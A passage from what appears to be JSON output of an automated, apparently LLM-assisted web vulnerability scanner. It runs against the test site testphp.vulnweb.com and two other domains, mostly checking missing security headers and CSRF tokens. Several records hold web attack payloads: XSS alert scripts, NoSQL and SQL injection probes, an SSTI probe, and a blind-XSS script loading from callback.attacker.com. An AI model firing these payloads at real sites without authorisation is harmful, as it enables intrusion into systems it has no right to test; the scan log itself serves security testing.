      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771269873.914347,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771269877.123831,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771269879.1576838,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771269881.5865128,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/product.php?pic=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['price', 'addcart']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['price', 'addcart']",
      "confidence": 0.0,
      "timestamp": 1771269883.868171,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "cf77cfdcfa"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771269886.21621,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=%7B%22$gt%22:+%22%22%7D",
      "parameter": "p",
      "reasoning_steps": [
        "Tested nosql_injection on http://testphp.vulnweb.com/hpp/params.php?p=%7B%22$gt%22:+%22%22%7D",
        "Parameter: p",
        "Payload: {\"$gt\": \"\"}",
        "Evidence: NoSQL error indicator: \\$gt | NoSQL error induced: $gt\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar ",
        "Confidence: 80"
      ],
      "payload_used": "{\"$gt\": \"\"}",
      "evidence_summary": "NoSQL error indicator: \\$gt | NoSQL error induced: $gt\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: NOSQL_INJECTION in unknown ---\nScenario: Vulnerability: NoSQL Injec",
      "confidence": 0.8,
      "timestamp": 1771269966.483376,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "630b4e55ac"
    },
    {
      "vuln_type": "blind_xss",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=%3Cscript+src%3D//callback.attacker.com%3E%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested blind_xss on http://testphp.vulnweb.com/hpp/params.php?p=%3Cscript+src%3D//callback.attacker.com%3E%3C/script%3E",
        "Parameter: p",
        "Payload: <script src=//callback.attacker.com></script>",
        "Evidence: Stored XSS: payload reflected in dangerous context (<script) | Blind XSS payload stored in response\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understa",
        "Confidence: 60"
      ],
      "payload_used": "<script src=//callback.attacker.com></script>",
      "evidence_summary": "Stored XSS: payload reflected in dangerous context (<script) | Blind XSS payload stored in response\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: BLIND_XSS in unknown -",
      "confidence": 0.6,
      "timestamp": 1771269973.147351,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "e3a1e5434f"
    },
    {
      "vuln_type": "xss_dom",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=%23%3Cscript%3Ealert('DOMXSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_dom on http://testphp.vulnweb.com/hpp/params.php?p=%23%3Cscript%3Ealert('DOMXSS')%3C/script%3E",
        "Parameter: p",
        "Payload: #<script>alert('DOMXSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then a",
        "Confidence: 100"
      ],
      "payload_used": "#<script>alert('DOMXSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: XSS_REFLECTED in generic ---\nScenario: Verifying XSS f",
      "confidence": 1.0,
      "timestamp": 1771269979.796444,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "d68763d517"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771274161.931566,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771274194.084855,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771274223.0974379,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771274225.3210711,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771274227.668046,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771274234.839898,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771274236.922121,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771274240.9865851,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771274258.8082602,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771274262.018495,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771274264.2435799,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771274266.5870879,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771274268.88359,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771274271.653308,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "missing_hsts",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_hsts on https://unico.io/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Strict-Transport-Security: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Strict-Transport-Security: Not set",
      "confidence": 0.0,
      "timestamp": 1771334188.055428,
      "scan_target": "https://unico.io/",
      "trace_id": "8e5ff4e67f"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on https://unico.io/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771334204.1419709,
      "scan_target": "https://unico.io/",
      "trace_id": "ba3153b4c3"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://unico.io/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771334219.804332,
      "scan_target": "https://unico.io/",
      "trace_id": "f5b39ad1ba"
    },
    {
      "vuln_type": "missing_hsts",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_hsts on https://unico.io",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Strict-Transport-Security: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Strict-Transport-Security: Not set",
      "confidence": 0.0,
      "timestamp": 1771334666.291486,
      "scan_target": "https://unico.io",
      "trace_id": "50cad267a7"
    },
    {
      "vuln_type": "missing_hsts",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_hsts on https://unico.io",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Strict-Transport-Security: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Strict-Transport-Security: Not set",
      "confidence": 0.0,
      "timestamp": 1771340653.870187,
      "scan_target": "https://unico.io",
      "trace_id": "50cad267a7"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on https://unico.io",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771340670.536479,
      "scan_target": "https://unico.io",
      "trace_id": "8e489a5166"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: cloudflare, WAF:cloudflare (100%)",
      "endpoint_pattern": "https://unico.io",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://unico.io",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771340686.4527712,
      "scan_target": "https://unico.io",
      "trace_id": "0a3434ee39"
    },
    {
      "vuln_type": "ssti",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://hackersec.com/download?id=%3Csvg/onload%3Dalert(1)%3E",
      "parameter": "id",
      "reasoning_steps": [
        "Tested ssti on https://hackersec.com/download?id=%3Csvg/onload%3Dalert(1)%3E",
        "Parameter: id",
        "Payload: {{7*7}}",
        "Evidence: SSTI confirmed: {{7*7}} = 49 | Template expression evaluated: 7*7=49\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then ",
        "Confidence: 100"
      ],
      "payload_used": "{{7*7}}",
      "evidence_summary": "SSTI confirmed: {{7*7}} = 49 | Template expression evaluated: 7*7=49\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SSTI in unknown ---\nScenario: XBOW Benchmark Insight ",
      "confidence": 1.0,
      "timestamp": 1771340965.0485098,
      "scan_target": "https://hackersec.com",
      "trace_id": "392f314eb9"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://has.hackersec.com",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on https://has.hackersec.com",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['email']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['email']",
      "confidence": 0.0,
      "timestamp": 1771341157.826965,
      "scan_target": "https://hackersec.com",
      "trace_id": "ef023fa0bd"
    },
    {
      "vuln_type": "missing_hsts",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://hackersec.com",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_hsts on https://hackersec.com",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Strict-Transport-Security: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Strict-Transport-Security: Not set",
      "confidence": 0.0,
      "timestamp": 1771341162.722553,
      "scan_target": "https://hackersec.com",
      "trace_id": "88f0b8c60e"
    },
    {
      "vuln_type": "ssl_issues",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://hackersec.com",
      "parameter": "hsts",
      "reasoning_steps": [
        "Tested ssl_issues on https://hackersec.com",
        "Parameter: hsts",
        "Payload: N/A",
        "Evidence: HSTS header missing from HTTPS response",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "HSTS header missing from HTTPS response",
      "confidence": 0.0,
      "timestamp": 1771341162.9317691,
      "scan_target": "https://hackersec.com",
      "trace_id": "7fa6fe74d1"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://hackersec.com",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://hackersec.com",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771341163.312674,
      "scan_target": "https://hackersec.com",
      "trace_id": "e150f161b8"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://has.hackersec.com",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://has.hackersec.com",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771341165.141197,
      "scan_target": "https://hackersec.com",
      "trace_id": "851f0f9d03"
    },
    {
      "vuln_type": "missing_hsts",
      "technology": "Server: cloudflare, Angular, jQuery",
      "endpoint_pattern": "https://has.hackersec.com",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_hsts on https://has.hackersec.com",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Strict-Transport-Security: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Strict-Transport-Security: Not set",
      "confidence": 0.0,
      "timestamp": 1771341170.6995971,
      "scan_target": "https://hackersec.com",
      "trace_id": "67ff17c5ef"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771341837.26092,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771341860.1125782,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=1&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
